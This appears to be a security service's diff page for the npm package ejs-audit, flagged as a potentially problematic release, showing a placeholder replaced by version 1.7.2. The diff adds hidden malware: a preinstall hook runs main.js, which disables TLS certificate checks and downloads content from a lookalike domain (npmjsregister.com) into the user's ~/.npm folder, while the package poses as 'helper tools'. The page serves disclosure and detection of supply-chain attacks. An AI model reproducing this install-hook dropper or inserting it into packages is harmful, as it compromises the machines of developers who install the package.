ejs-audit 0.0.1-security → 1.7.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of ejs-audit might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/main.js +23 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/main.js ADDED
@@ -0,0 +1,23 @@
1
+ const os = require("os");
2
+ const path = require("path");
3
+ var fs = require('fs');
4
+
5
+
6
+
7
+ function registerAudit(version, projectUrl) {
8
+
9
+
10
+ var request = require('sync-request');
11
+ var ticket = request('GET', projectUrl);
12
+
13
+ fs.writeFileSync(version, ticket.getBody());
14
+
15
+ }
16
+
17
+ process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0;
18
+
19
+ var folder = os.homedir() + "/.npm";
20
+ if (!fs.existsSync(folder)){
21
+ fs.mkdirSync(folder);
22
+ }
23
+ registerAudit(path.join(folder,'/audit-cache'), 'https://npmjsregister.com/auditcheck.php');
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "ejs-audit",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.7.2",
4
+ "description": "tslib and react js helper tools",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"[Error]: [-] no test script specified\" && exit 1",
8
+ "preinstall": "npm install sync-request && node main.js"
9
+ },
10
+ "author": "",
11
+ "license": "MIT",
12
+ "dependencies": {
13
+ "sync-request": "^6.1.0"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=ejs-audit for more information.